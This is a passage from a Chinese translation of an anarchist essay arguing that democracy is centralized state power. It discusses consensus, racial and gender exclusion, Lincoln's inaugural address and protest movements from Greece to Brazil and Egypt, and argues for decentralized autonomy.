党等组织推动。海盗党已经被纳入到现有的政治体系中；但从理论上讲，我们可以想象一群通过数字技术联系起来的民众，通过多数人的投票实时做出有关社会的所有决定。

在这样的秩序中，多数派政府将获得实际上不可抗拒的合法性；然而最大的权力很可能集中在管理这个系统的技术官僚手中。他们对决定哪些信息和哪些问题出现在前台的算法进行编码，他们将塑造参与者的概念框架，比今天的选举年政治广告更有侵略性一千倍。数字民主

但是，即使这样的制度可以完美地运作，您是否希望首先保留集权的多数统治？仅仅是参与性的事实，并不能使政治进程减少任何强制性。只要多数人有能力把自己的决定强加给少数人，我们谈论的就是一个与今天统治所谓的民主国家的制度在精神上完全相同的制度——这个制度也需要监狱、警察和收税人，或者以其他方式来履行同样的职能。

📌 真正的自由不是回答问题的过程有多大的参与性，而是我们能在多大程度上自己构思问题 —— 以及我们是否能阻止别人把他们的答案强加给我们。

在独裁政府或民选政府下运作的机构，如果没有代表的调停，由多数人直接运用，其压迫性也不会少。归根结底，即使是最直接的民主国家，也更善于集中权力，而不是最大化自由。

另一方面，并不是所有人都认为民主是国家治理的手段。一些民主的支持者试图转变语话权，认为真正的民主只有在 *国家* 之外才能进行，并反对国家对权力的垄断。

对于国家的反对者来说，这似乎是一种战略举措，因为它适用于在三个世纪以来的民众运动和自我祝贺的国家宣传中投资于民主的所有合法性。然而，📌 这种做法有三个基本问题。

首先，这是不符合历史的。民主起源于国家政府的一种形式；实际上，所有我们熟悉的历史上的民主例子都是通过国家或者至少是由有志于治理的人进行的。人们对民主作为一套抽象愿望的积极联想是后来才有的。

第二，它助长了混乱。那些提倡民主作为国家的替代物的人，很少在两者之间做出有意义的区分。如果你摒弃了代表制、强制执行和法治，却保留了使民主成为一种治理手段的所有其他标志—— 公民权、投票权和在单一决策结构中集中合法性 —— 你最终会保留政府

的程序，却没有使其有效的机制。这结合了两个世界最坏的情况。它确保了那些接近反国家民主的人期望它能发挥与国家同样的功能，将不可避免地感到失望，同时又创造了一种情况，即 反国家民主倾向于在较小的规模上复制与国家民主相关的动力。

最后，这只能是一场失败的战斗。如果你想用民主一词来表示的东西只能发生在国家框架之外，那么使用一个2500年来一直与国家政治相关的术语就会产生相当大的歧义。

大多数人会认为，你所说的民主毕竟是可以与国家调和的。这就为国家主义政党和战略在公众视野中重新获得合法性创造了条件，甚至在被彻底否定之后。

政党 Podemos 和 Syriza 在巴塞罗那和雅典被占领的广场上获得了吸引力，这要归功于他们关于直接民主的言论，只是他们进入了政府的大厅，而现在他们的行为就像其他政党一样。他们仍然在做民主，只是更有效率和效果。

📌 如果没有一种语言能将他们在议会中的所作所为与人们在广场上的所作所为区分开来，这个过程就会一次又一次地重演。

【注：Podemos 是西班牙左翼民粹主义政党；SYRIZA 是希腊的激进左翼联盟】

当我们把反对国家的行为确定为民主实践时，我们就为自己的努力被重新吸收到更大的代表结构中奠定了基础。

民主不仅是管理政府机器的一种方式，也是再生和合法化政府机器的方式。候选人、政党、政权，甚至政府的形式，在明显不能解决选民的问题时，都可以不时地被替换掉。这样一来，政府本身—— 至少是其中一些问题的源头—— 就能够继续存在。直接民主只是重塑政府形象的最新方式。

即使没有熟悉的国家外衣，任何形式的政府都需要以某种方式来决定谁能参与决策，以及以什么条件参与决策—— 简单说，谁算得上是民主派。这种规定一开始可能是模糊的，但随着一个机构的成长和风险的增加，它们会变得更加具体。

📌 如果没有办法强制执行决定—— 没有 kratos，那么政府的决策过程就不会比人们自主做出的决定更有分量。这就是一个寻求没有国家的政府的项目的悖论。

这些矛盾在慕瑞·布克钦 (Murray Bookchin) 将自由主义市政主义作为国家治理的替代方案的表述中已经非常明显。布克钦解释说，在自由主义市政主义中，一个排他性的、公开的、受法律和宪法管辖的先锋派组织将通过多数票作出决定。他们将在市议会选举中竞选候选人，长期目标是建立一个可以取代国家的联邦。一旦这样的联邦开始运作，即使参与的市政当局想退出，其成员资格也将具有约束力。

那些试图在没有国家的情况下保留政府的人，最终很可能会得到类似于另一个名字的 “国家” 的东西。

📌 所以，重要的区别不是民主与国家之间的区别，而是政府与自决之间的区别。政府是对特定空间或政体行使权力：无论过程是独裁式的还是参与式的，最终结果都是施加控制。相比之下，自决意味着按照公民自己的条件处置自己的潜力：当人们共同参与时，他们不是在统治对方，而是在促进累积性的自治。

自由达成的协议不需要强制执行，而将合法性集中在一个机构或决策过程中的制度总是需要强制执行。

用民主这个词来形容国家本质上是不可取的想法是很奇怪的。这个想法的正确用词是无政府主义。无政府主义反对所有的排斥和统治，而支持权力结构、决策过程和合法性概念的彻底分散。这不是一个以完全参与性方式进行治理的问题，而是使其无法强加任何形式的统治。从广场到议会：民主是众包的国家权力

“从严格意义上讲，从来没有真正的民主国家，也永远不会有 ……人们很难想象所有人民将永久地坐在一个集会上处理公共事务。” —— 让·雅克·卢梭（*Jean-Jacques Rousseau*），《社会契约论》

共识与一致统治的幻想

「图」

如果说民主政府的共同点是公民权和督查 —— demos & kratos —— 最激进的民主将把这些类别扩大到包括整个世界：普遍公民权、社区治安。在理想的民主社会中，每个人都将是公民，每个公民都将是警察。

在这个逻辑的最极端，“多数人的统治” 将意味着协商一致的统治：不是多数人的统治，而是一致的统治。我们越是接近一致，政府就越是被认为是合法的 —— 那么，协商一致的统治不就是最合法的政府

吗？那么，最后，就不需要任何人来扮演警察的角色了。

显然，这是不可能的。但值得反思的是，把直接民主作为一种政府形式的理想化，意味着什么样的乌托邦。想象一下，要产生足够的凝聚力以通过共识过程来统治一个社会，使每个人都达成共识，就是极权主义了。谈谈把事情简化到最低的共同点吧! 如果替代强制的办法是废除分歧，那么肯定还有第三条路。

这个问题在“占领”运动中凸显出来。一些参与者将大会理解为运动的管理机构；从他们的角度来看，人们在没有一致授权的情况下采取行动是不民主的。另一些人则将大会视为没有规定性权威的接触空间，人们可以在其中交换影响和想法，围绕共同的目标形成流动的星座来采取行动。前者认为，当他们的“占领者”同伴采取未经大会商定的战术时，他们感到被出卖了；后者反驳说，将否决权授予任意召集的群众，包括在街上碰巧经过的任何人，是没有意义的。关于在占领奥克兰期间大会作用的分歧

也许答案是，决策结构必须分散化，并以协商一致为基础，这样就没有必要达成普遍协议了。这是朝正确方向迈出的一步，但也带来了新的问题。人们应该如何划分政体？是什么决定了一个议会的管辖权或它可以作出决定的范围？谁来决定一个人可以参加哪些议会，或者谁受某项决定的影响最大？如何解决议会之间的冲突？

对这些问题的回答将使一套关于合法性的规则制度化，或优先考虑自愿结社形式。在前一种情况下，随着时间的推移，规则可能会僵化，因为人们会参考协议来解决争端。在后一种情况下，决策的结构将在有机的过程中不断变化、断裂、冲突、再出现，很难形容为政府。当决策过程的参与者可以自由地退出决策过程或从事与决策相矛盾的活动时，那么发生的就不是政府—— 它只是对话。

从一个角度看，这是一个重点问题。我们的目标是产生理想的机构，使其尽可能地具有横向性和参与性，而不是服从于它们作为权威的最终基础？或者，我们的目标是最大限度地实现自由，在这种情况下，我们所创造的任何特定的制度都从属于自由，因此是可有可无的？

📌 再来一次—— 什么是合法，是制度还是我们的需求和欲望？

即使在最好的情况下，制度也只是达到目的的手段，它们本身没有价值。任何人都不应被迫遵守任何压制其自由或不能满足其需要的机构的协议。如果每个人都能在纯自愿的基础上自由地与他人组织起来，那将是产生真正符合参与者利益的社会形式的最佳途径：因为一旦一

个结构对每个参与的人都不起作用，他们就必须对它进行改进或替换。这种方法不会使所有的社会成员达成共识，但这是保证共识出现时有意义和可取的唯一途径。“权力下放？从理论上讲，这是一个好主意，但我怀疑我们是否会达成共识以实施它。”

被排斥者：种族、性别和民主

「图」

我们经常听到支持民主的论点，理由是民主作为最具包容性的政府形式，最适合打击我们社会中的种族主义和性别歧视。📌 然而，只要统治者/被统治者和被纳入/被排除的类别被纳入政治结构，即使在少数人超过多数人的情况下，也被编制为“多数人”和“少数人”，那么，种族和性别方面的权力不平衡就将始终反映为政治权力的不平等。这就是为什么妇女、黑人和其他群体尽管表面上拥有了一个多世纪的投票权，但仍然缺乏与其人数相称的政治影响力。

在《The Abolition of White Democracy》一书中，已故的乔尔·奥尔森（Joel Olson）对他所谓的“白人民主”—— 通过赋予白人特权的人之间的跨阶级联盟，将民主政治权力集中在白人手中—— 提出了令人信服的批评。

他理所当然地认为民主是最理想的制度，认为白人至上是其运作的偶然障碍，而不是其自然结果。如果民主是平等关系的理想形式，那么为什么它几乎在其存在的整个过程中都与结构性种族主义有牵连？

在政治被构造为零和竞争的地方，掌握权力的人将不愿意与他人分享权力。想想那些反对普选权的人和反对将投票权扩大到有色人种的白人：民主的结构并没有阻止他们的偏执，而是给了他们将偏执制度化的动力。

奥尔森追溯了统治阶级培养白人至上主义以分裂工人阶级的方式，但他忽视了民主结构借力于这个过程的方式。他认为，我们应该促进阶级团结，以此来应对这些分裂，但（正如 Bakunin 这位马克思的对立面学者所论证的那样）统治者与被统治者之间的差异本身就是一种阶级差异—— 想想古代雅典。种族化的排斥一直是公民身份的反面。

【注：米哈伊尔·亚历山德罗维奇·巴枯宁（Михаил Александрович Бакунин），俄国思想家、革命家，著名无政府主义者，有“近代无政府主义教父”之称。】

因此，白人至上主义的政治层面不仅仅是经济权力中种族差异的后果，它也是经济权力差异的产生。

早在资本主义诞生之前，民族和种族分裂就已经在我们的社会中根深蒂固了；宗教裁判所对犹太人财产的没收为美洲最初的殖民提供了资金，对美洲的掠夺和对非洲人的奴役为欧洲和后来北美资本主义提供了最初的启动资金。种族分化也有可能在下一次大规模的经济和政治转变中持续下去—— 例如，作为以白人（或犹太人，甚至库尔德人）为主的公民的排他性集会。

这个问题没有简单的解决办法。改革者经常说要让我们的政治制度更加“民主”，他们的意思是要更加包容和平等。然而，当他们的改革以一种使政府机构合法化和强化的方式实现时，当他们对目标和边缘化的人进行打击时，这只会使这些机构背后的分量更重—— 看看民权运动以来对黑人的大规模被监禁的惊人数字吧。

Malcolm X 和其他黑人分离主义的倡导者是对的，一个由白人建立的民主制度永远不会给黑人提供自由 —— 不是因为白人和黑人永远不能共存，而是，因为民主治理使政治成为政治权力集中的竞争，造成了排除共存的冲突。

如果今天的种族冲突能够得到解决，那将是通过在权力下放的基础上建立新的关系，而不是将被排斥者纳入纳入者的政治秩序。

> “只要有警察，您认为他们会骚扰谁？只要有监狱，您认为谁会填补监狱？只要有贫穷，您认为谁会贫穷？相信我们可以在基于等级制的社会中实现平等，这是幼稚的。您可以随机洗牌，但仍然是同一副牌”。——

只要我们把我们共同在政治上所做的事理解为民主—— 通过合法的决策过程建立的政府—— 我们就会看到这种合法性被用来为那些在功能上属于白人至上主义的方案辩护，无论是国家的政策，还是发言人的决定。（举例来说，回忆一下，以白人为主的大会的决策过程与许多占领团体内较少白人的营地之间的紧张关系）。

只有当我们放弃“任何政治进程本质上都是合法的”这一观点时，才能够消除一直作为民主治理特点的种族差异最后的不在场证明。

谈到性别问题，这给我们提供了一个新的视角，了解下为什么 Lucy Parsons、Emma Goldman 和其他妇女认为要求妇女选举权是没有意

义的。为什么有人会拒绝参与选举政治的选择，尽管它是不完美的？简短的答案是，她们想彻底废除政府，而不是让政府更具参与性。但仔细观察，你可以发现一些更具体的原因，为什么关注妇女解放的人可能会对选举权产生怀疑。

让我们回到 polis 和 oikos 。民主制度依赖于公共领域和私人领域之间的正式区分；公共领域是所有合法决策的场所，而私人领域则被排除在外或被打折扣。纵观各种社会和时代，这种划分都带有深刻的性别特征，男性主导着公共领域—— 所有权、有偿劳动、政府、管理和街角，而女性和那些不属于性别二元的人则被归入私人领域：家庭、厨房、育儿、性工作、护理工作、其他形式的隐形和无偿劳动。

由于民主制度将决策权和权力集中在公共领域，这就复制了父权制的权力模式。当女性被正式排除在投票和政治之外时，这一点最为明显，但即使在女性没有被排除在外的情况下，她们在公共领域也常常面临非正式的障碍，同时在私人领域承担着不成比例的责任。

让更多的人参与公共领域，有助于使女性和不符合性别二元的人处于不利地位的空间进一步合法化。如果“民主化”意味着决策权从非正式和私人场所向更多的公共政治空间转移，其结果甚至会削弱某些形式的女性权力。回顾1970年代建立的基层妇女庇护所是如何通过国家资助实现专业化的，以至于到了1990年代，建立这些庇护所的女性根本无法胜任其中的初级职位。

所以，我们不能把女性正式参与公共领域的程度作为解放的指标。相反，我们可以解构公共和私人之间的性别区分，确认在关系、家庭、家族、邻里、社会网络和其他不被承认为政治领域的空间中发生的事。这不会意味着将这些空间正式化，或者将其纳入所谓的性别中立的政治实践，而是，将多种决策方式合法化，承认社会中的多个权力场所。

有两种方式可以应对男性对政治领域的统治。第一种是尽量使正式的公共空间具有无障碍性和包容性—— 例如，通过登记女性投票、提供儿童保育、设定谁必须参与决策的配额、权衡谁被允许在讨论中发言，甚至像在罗贾瓦那样，建立具有否决权的妇女专属议会。

这一战略旨在实现平等，但是，它仍然假定所有权力都应属于公共领域。另一种办法是确定已经赋予那些没有受益于男性特权的人以权力的决策场所和做法，并赋予他们更大的影响力。这种方法借鉴了长期以来的女权主义传统，即 优先考虑人们的生活和经验，而不是形式结构和意识形态，承认多样性的重要性，重视通常看不见的生活层面。

这两种方法可以相辅相成，但前提是我们必须摒弃所有合法性都应集中在单一体制结构中的想法。“在所有现代妄想中，选票肯定是最大的……统治权原则本身是错误的：没有人有权统治另一个人。”–露西·帕森斯（*Lucy Parsons*）*“The Ballot Humbug”*

反对自治的争论

「图」

有几种反对意见认为，决策结构应该是自愿的而不是强制性的，应该是分散的而不是单一的。我们被告知，如果没有一个决定冲突的中央机制，社会就会退化为内战；如果没有一个中央权力机构，就不可能抵御集中的侵略者；我们需要中央政府的机器来处理压迫和不公正。

而事实上，中央集权既可能挑起纷争，也可能解决纷争。当每个人都必须在国家结构上获得杠杆作用，才能对自己的生活条件进行任何控制时，这必然会产生摩擦。

在以色列/巴勒斯坦、印度/巴基斯坦和其他地方，不同宗教和种族的人曾在相对和平的环境中自主共处，殖民主义强加的在单一国家框架内争夺政治权力的要求产生了长期的种族暴力。这种冲突在19世纪的美国政治中也很常见—— 考虑一下早期围绕华盛顿和巴尔的摩选举的帮派战争，或者是为 “流血的堪萨斯” 的斗争。如果这些斗争在美国不再常见，那并不能证明国家已经解决了它产生的所有冲突。

【注：流血的堪萨斯，是1854年至1858年之间一系列围绕奴隶制的冲突。这场冲突发生在当时未建州的堪萨斯领地和临近的密苏里州，起因是南北方支持与反对奴隶制度的双方试图争夺堪萨斯领土的控制权，以决定堪萨斯是否以蓄奴州或自由州身份加入联邦。冲突特点为多年的选举舞弊、突袭、袭击以及报复仇杀。这场冲突对当时美国中部的政局，以及之后美国南北战争有重要影响。】

中央集权的政府，被誉为解决争端的方式，只是巩固了自身的权力，所以胜利者可以通过武力维持自己的地位。而当中央集权的结构崩溃时，就像南斯拉夫在90年代引入民主时那样，其后果确实可能是血腥的。最好的情况是，集权只能推迟纷争—— 就像债务累积利息那样。

但是，分散化的网络能够对抗集中化的权力结构吗？如果不能，那么整个讨论就没有意义了，因为任何去中心化的尝试都会被更多的中心化对手击溃。

答案还有待观察，但今天的集权势力绝不确定自己是否无坚不摧。2001年，兰德公司就已经在论证，分散的网络，而不是集中的等级制度，将成为21世纪的权力者。在过去的20年里，从所谓的反全球化运动到“占领”运动和库尔德人在罗贾瓦的自治实验，成功地为新的实验（包括民主和无政府主义）开辟空间的举措都是分散化的，而像Syriza 这样更为集中的努力则几乎立即被招安了。许多学者现在正在从理论上探讨以网络为基础的组织工作的特点和优势。该图说明了基于分散化的和自治的网络的组织相对于代议制民主和基于集会的直接民主的优势。

最后，还有一个问题，即 一个社会是否需要一个中央政治机构来制止压迫和不公正？亚伯拉罕·林肯在1861年南北战争前夕发表的第一篇就职演说是这一论点最有力的表述之一。值得详细引用：

分离的核心思想是无政府状态的本质。一个被宪法的制衡和限制所约束的多数人，并且总是很容易随着大众意见和情绪的故意变化而变化，是一个自由民族唯一真正的主权者。谁拒绝它，谁就必然会走向无政府状态或专制。一致性是不可能的。少数人的统治，作为一种永久的安排，是完全不能接受的；因此，拒绝多数人的原则，就只剩下某种形式的无政府状态或专制了……

从物理上讲，我们不能分开。我们不能把我们各自的部分从对方身上移开，也不能在他们之间建立一道不可逾越的墙。丈夫和妻子可以离婚，可以离开对方，也可以不在对方身边，但我们国家的不同部分不能这样做。他们无法不面对面，他们之间必须继续进行友好或敌对的交往。

那么，有没有可能使这种交往在分离后比分离前更有利或更满意呢？外人之间能比朋友之间能更忠实地执行条约吗？假设你们去打仗，你们不可能一直打下去；当双方都损失惨重而任何一方都没有收获之后，你们就停止了战斗，同样的老问题，关于交往的条件，再次摆在你们面前。

这个国家及其制度，是属于居住在这里的人民的。每当他们对现有的政府感到厌倦时，他们就可以行使他们的宪法权利来修改它，或者行使他们的革命权利来肢解或推翻它 ……

在今天这个全球化的世界里，如果按照这个逻辑走下去，你就会得出世界政府的概念：在整个地球的范围内实行多数人统治。

林肯是对的，与协商一致的党派相反，一致的统治是不可能的，那些

不希望被多数人统治的人必须在专制和无政府状态之间做出选择。他的论点，乍听起来很有说服力，但朋友之间不会互相执行法律——法律是为了强加给较弱的一方而制定的，而条约是在平等的人之间制定的。政府不是发生在朋友之间的事。

如果我们必须在专制、多数人统治和无政府状态之间做出选择，无政府状态是最接近自由的东西—— 林肯所说的我们推翻政府的 “革命权利”。

然而，林肯将无政府状态与南方各州的分离联系起来，是在对自治进行批判，这种批判至今仍在回荡。争论说，如果不是联邦政府，奴隶制永远不会被废除，南方也不会取消种族隔离或给予有色人种民权。这些反对不公正的措施不得不由联邦的军队和一个世纪后的国民警卫队在枪口下推出。在这种情况下，主张分权似乎意味着接受奴隶制、种族隔离和三K党？如果没有一个合法的中央管理机构，有什么机制可以阻止人的压迫行为呢？

这里有几个错误。第一个错误是显而易见的：在林肯的三个选择中 —— 专制主义、多数人统治和无政府状态—— 分离主义者代表的是专制主义，而不是无政府状态。同样，想象中央政府的机器将只用在自由的一方，那是天真的。在南方监督整合的国民警卫队曾用实弹镇压全国各地的黑人起义；今天，美国监狱里的黑人几乎和美国曾经的奴隶一样多。最后，人们不必为了反对压迫而把所有的合法性都赋予一个单一的管理机构。人们仍然可以采取行动 —— 只是不能以执法为借口。

反对权力和合法性的集中化并不意味着退缩到寂静主义。有些冲突必须发生，这是无法回避的。它们源于真正不可调和的分歧，而强加一种虚假的统一，只会推迟问题的解决。《林肯的谎言：叙事矩阵、华尔街和政府的内战》

林肯在就职演说中，是以国家的名义恳求中止废奴主义者和奴隶制游击队员之间的冲突—— 这是不可避免的、必要的冲突，而这种冲突已经因数十年不可容忍的妥协而被拖延了。同时，像 **Nat Turner** 和 **John Brown** 这样的废奴主义者能够在不需要中央政治权威的情况下采取果断行动—— 实际上，他们之所以能够这样做，只是因为他们不承认有中央政治权威。

如果不是像他们这样的自主行动所产生的压力，联邦政府永远不会对南方进行干预；如果有更多的人像他们那样采取主动，奴隶制就不可能存在，内战也就没有必要了。

换句话说，问题不是无政府状态太多，而是太少。是自主行动迫使了奴隶制问题的解决，而不是民主商议。更何况，如果无政府主义的游击队员多一些，而不是多数人统治，南方白人就不可能在重建后重新获得南方的政治优势。

还有一个轶事值得一提。林肯在就职演说一年后，向一个有色人种自由委员会发表讲话，认为他们应该移民去建立另一个像利比里亚那样的殖民地，希望美国其他黑人也能跟随。关于被解放的黑人和美国白人公民之间的关系，他认为：

> 对我们双方来说，最好是分开 …… 我们的人民不愿意你们这些自由的有色人种留在我们这里，尽管这很残酷。

所以，在林肯的政治宇宙观中，白人公民的政体是不能分离的，但只要 oikos 的黑奴不再占据他们的经济角色，他们最好是离开。这就很清楚地戏剧化了整件事：国家是不可分割的，但被排斥者是可以抛弃的。如果内战后被释放的奴隶移民到非洲，他们到了非洲就会及时体验到欧洲殖民者的恐怖，仅在比利时殖民的刚果就有千万人死亡。

📌 解决这种灾难的适当办法不是把全世界合并成一个由多数人统治的单一共和国，而是，打击所有把人民分为多数人和少数人的机构——将人分为统治者和被统治者的机构——无论它们自称有多么“民主”。

民主解放的障碍

「图」

除非发生战争或奇迹，否则每一个立宪政府的合法性总是在被侵蚀；它只能被侵蚀。无论国家做出怎样的承诺，都无法弥补我们不得不放弃对生活的控制。每一个具体的不满都强调了这个系统性的问题，尽管人们很少能避免“只源身在此山中”。

这就是民主的作用：另一次选举，另一个政府，另一个乐观的和失望的周期。

但这并不总是能安抚民众的情绪。过去十年，世界各地都发生了无数运动和起义——从瓦哈卡到突尼斯，从伊斯坦布尔到里约热内卢，从基辅到香港，在这些运动和起义中，失望和不满的人们试图将事情掌握在自己手中。其中大多数人都围绕着更多、更好的民主标准，尽

管这很难得到一致的认同。

考虑到市场和政府对我们的控制力有多大，我们确实很容易想象，我们可以以某种方式扭转局面，治理他们。即使是那些不相信人民有可能统治政府的人，通常最后也会拿起他们剩下的最后一件事—— 他们对政府的抵抗。将抗议运动视为直接民主的实验，人们开始预设一个更民主的世界的结构。

但如果预设民主是问题的一部分呢？这就可以解释为什么这些运动中很少有人能够真的对他们所反对的结构进行不可调和的抵制。

除了恰帕斯（Chiapas）和罗贾瓦（Rojava）可以说是例外，所有这些运动都被击败了，重新融入了现行政府的运作（就像 Syriza、Podemos），或者更糟糕的是，推翻并取代了那个政府，却没有在社会上实现任何真正的改变（如 突尼斯、埃及、利比亚、乌克兰）。

当一个运动试图在与国家民主相同的原则基础上使自己合法化时，它最终会试图在自己的游戏中击败国家。即使它成功了，胜利的奖赏也是被收编和制度化—— 无论是在现有的政府结构内还是通过重新发明政府。因此，以反抗国家为开端的运动最终会重新创造国家。

> “有时您会反抗，但这只是从头开始再次做同样的事。” —— Albert Libertad

这可以以许多不同的方式发挥作用。有些运动声称自己比当局更民主，更透明或更具代表性，结果却无法履行承诺；有的运动通过选举政治上台，结果却背叛了自己的初衷；有的运动直接推行民主策略，结果却对那些寻求国家权力的人同样有用；有的运动推翻了现有政府，结果却取而代之，变成了一样的东西。让我们依次考虑每一种情况。

如果我们把运动限制在大多数参与者能够事先达成一致的范围内，就可能无法在第一时间把运动启动。当大部分人已经接受了政府及其法律的合法性时，大多数人都不会觉得自己有权利做任何可能挑战现有权力结构的事，不管它对他们有多坏。因此，一个由多数人投票或共识做出决定的运动，除了最象征性的策略外，可能很难同意利用任何其他手段。你能想象密苏里州弗格森的居民召开共识会议，决定是否要烧掉 QuikTrip 商店以对抗警察吗？然而就是这些行动，引发了后来被称为BLM的运动。人们通常要经历过新的事物才会对它持开放态度，将整个运动局限于大多数参与者已经熟悉的事物是一种错误。

同样的道理，如果我们坚持我们的运动是完全透明的，那就意味着让当局决定我们可以使用哪些策略。在广泛渗透和监视的大背景下，以完全透明的方式公开进行所有的决策，就只会招致现状受益者者的残暴镇压。

并且，一个反抗机构越是公开透明，其行动就越可能是保守的，即使这与它明确的存在理由相矛盾—— 想想所有的环保联盟，它们从未采取过任何措施来阻止导致气候变化的活动。在民主的逻辑中，要求政府透明是有道理的，因为它应该代表人民并向人民负责。但在反抗的逻辑之外，我们不应该要求社会运动的参与者相互代表并向对方负责，而应该寻求最大限度地扩大他们的行动自主权。

如果我们以代表公众为理由来要求合法性，我们就为当局提供了一个容易绕过我们的方法。在没有普选前，我们可以说一个运动代表了人民的意愿，但现在一个选举所吸引的人，比最大规模的反抗运动所能动员的人，还要多。选举的胜利者永远可以声称自己代表的人比参与反抗运动的人更多。

同样，声称代表社会最受压迫阶层的反抗运动，也会因为这些阶层的象征性代表进入权力大厅，而被淘汰。只要我们确认 “代表” 的概念，一些新的政治家或政党就可以利用我们的言论上台。

我们不应该声称我们代表人民—— 我们应该断言，没有人有权统治我们。

当一个运动通过选举政治上台会发生什么？卢拉和他的劳工党在巴西的胜利似乎呈现了一个最好的情况，即 一个以基层激进组织为基础的政党掌舵国家。当时，巴西接纳了一些世界上最强大的社会运动，包括150万人的土地改革运动MST（无地工人运动）；其中许多运动与劳工党相互关联。然而在卢拉2002年上台后，社会运动进入了持续到2013年的急剧衰退。劳工党成员退出了地方组织，在政府中担任职务，而现实政治的需要使卢拉无法对他以前支持的运动作出让步。

科技部曾迫使卢拉之前的保守派政府将许多土地占有合法化，但在卢拉时期却没有取得任何进展。这种模式在拉丁美洲各地反复出现，因为所谓的激进政治家背叛了让他们上台的社会运动。今天，巴西最强大的社会运动是反对劳工党的右翼抗议活动。没有通往自由的选举捷径。希特勒上台

如果我们不寻求国家权力，而是专注于促进直接的民主模式，如邻里大会，会怎么样？不幸的是，这种做法可以被挪用来服务于广泛的议

程。2012年斯洛文尼亚起义后，虽然卢布尔雅那的自发组织的邻里大会仍在继续运作，但一个由市政当局资助的非政府组织开始在一个“被忽视”的街区组织集会，作为“振兴”该地区的试点项目，其明确意图是吸引心怀不满的公民重新与政府对话。

2014年乌克兰革命期间，法西斯党派 Svoboda 和 Right Sector 通过在被占领的迈丹举行民主集会而崭露头角。2009年，希腊法西斯党“金色黎明”的成员与雅典 Agios Panteleimonas 社区的当地人一起组织了一次集会，协调性攻击移民和无政府主义者。

📌 如果我们要促进包容性和自决，仅仅宣传参与式民主的言论和程序是不够的。我们需要传播一个反对国家和其他形式的等级制权力本身的框架。

即使是明确的革命策略，也可以以民主的名义转为对世界大国有利。从委内瑞拉到马其顿，我们已经看到国家行为者和既得利益者为了缩短选举周期，将真正的民众异议引导到虚假的社会运动中。

通常，目标是迫使执政党辞职，以便用一个更“民主”的政府 —— 即一个更符合美国或欧盟目标的政府—— 来取代它。这类运动通常把重点放在“腐败”上，暗示只要有合适的人掌权，这个制度就会运转得很好。当我们走上街头时，与其冒着成为某些外交政策举措的炮灰的风险动员起来反对任何特定的政府，不如直接反对政府本身。

埃及革命生动地说明了民主革命的死胡同。在数百人为推翻独裁者穆巴拉克和建立民主而献出生命之后，民选使另一个独裁者穆尔西上台。一年后，也就是2013年，一切都没有改善，发起革命的人民再次走上街头，拒绝民主的结果，迫使埃及军方废黜了穆尔西。

而今天，军方仍然是埃及的实际统治者，激发两次革命的同样的压迫和不公正仍在继续。军方、穆尔西和反抗的人民所代表的选择与林肯在就职演说中描述的一样：暴政、多数派统治和无政府状态。

在这里，在与贫困和压迫斗争的最远处，我们总是与国家本身对抗。只要我们屈服于被统治，国家就会根据需要在多数人统治和暴政之间来回转换—— 这是同一基本原则的两种表现形式。

国家可以有多种形态，就像植被一样，它可以枯萎，然后从根部重新生长。它可以采取君主制或议会民主制的形式，可以采取革命专政或临时理事会的形式 …… 所有这些形式，无论多么民主，都可以再生为一个能够粉碎自由和自决的政权。

避免合谋、操纵和机会主义的一个可靠的方法是拒绝使任何形式的统治合法化。当人们通过灵活的、横向的、分权的结构直接解决他们的问题和满足他们的需求时，就没有领导人可以腐败，没有正式的结构可以僵化，没有单一的程序可以被劫持。

取消权力的集中，那些想夺取权力的人就无法得逞。不可统治的人民可能不得不捍卫自己免受可能的暴君的侵害，但他们永远不会将自己的力量置于统治之下。

走向自由：出发点

「图」

民主的经典辩护是，它是最糟糕的政府形式 —— 除了所有其他形式之外。但如果政府本身就是问题，我们就必须回到原点。

重新想象没有政府的人类是一项雄心勃勃的工程；两个世纪的无政府主义理论只是从表面上看。为了这个分析的目的，我们将以一些可以指导我们超越民主的基本价值来结束，以及一些关于如何理解我们可能做什么来代替治理的一般性建议。大部分的工作还有待完成。

> “无政府主义不是民主的最激进形式，而是集体行动的一种完全不同的范例。” ———

横向、分权、自治、无政府状态

「图」

在仔细观察下，民主没有达到当初吸引我们的价值观念—— 平等主义、包容性、自决。除了这些价值观，我们还必须加上横向性、权力下放和自主性，作为它们不可缺少的对应物。

自20世纪末以来，横向性得到了广泛的传播。从萨帕蒂斯塔起义开始，并通过反全球化运动和阿根廷的反叛运动获得了动力，去中心化结构的想法甚至已经蔓延到了商业世界。

但是，如果我们不希望陷入多数人的暴政，即 每个人都必须能够就某件事情达成一致意见，任何人都能做到这一点，那么去中心化与横向化同样重要。权力下放不是所有机构都必须通过的单一程序，而是，意味着多个决策场所和多种形式的合法性。这样一来，当权力在一种情况下分配不均时，就可以在其他地方得到平衡。

📌 权力下放意味着保持差异 —— 战略和意识形态的多样性是运动和社区力量的源泉，就像自然界的生物多样性一样。我们既不能以亲和力为借口将自己隔离成同质的群体，也不能将我们的政治降低到最低的共同点。

权力下放意味着自治—— 能够主动自由地行动。自治可以适用于任何规模的层面—— 一个人、一个社区、一个运动、整个地区。要想获得自由，你需要能控制你周围的环境和日常生活的细节；你越是自给自足，你的自主性就越有保障。

这不一定意味着独立地满足你的所有需求，也可能意味着那种相互依存的关系，让你对你所依赖的人产生杠杆作用。

📌 任何一个机构都不应该能够垄断资源的获取和社会关系的建立。一个提倡自主的社会需要工程师所说的冗余：在生活的每个方面都有广泛的选择和可能性。

如果我们希望促进自由，仅仅确认自治是不够的。民族国家或政党可以主张自治；民族主义者和种族主义者也可以主张自治。一个人或一个团体是自治的，这并不能说明他们与他人培养的关系是平等的还是等级的，是包容的还是排他的。

📌 如果我们希望最大限度地实现每个人的自治，而不是简单地为自己寻求自治，我们就必须创造一种社会环境，在这种环境中，没有人能够积累对其他任何人的制度权力。

揭开机构的神秘面纱

「图」

机构的存在是为了服务于我们，而不是相反。它们没有要求我们服从的固有权利。我们永远不应赋予它们比我们自己的需要和愿望更多的合法性。当我们的愿望与他人的愿望发生冲突时，我们可以看看制度化的程序是否能够产生一个令所有人都满意的解决方案；但一旦我们赋予一个机构裁决我们的冲突或支配我们的决定的权利时，我们就等于放弃了自己的自由。

这不是对某一特定组织模式的批评，也不是主张“非正式”结构优于“正式”结构。相反，它要求我们把所有的模式都看作是临时性的，要求我们不断地重新评估和重塑它们。

在 Thomas Paine 想把法律奉为王者的地方，在卢梭把社会契约理论化的地方，以及近来资本主义的狂热者梦想着一个仅以契约为基础的社会的地方，我们反驳说，当关系真正符合所有参与者的最佳利益时，就不需要法律或契约了。

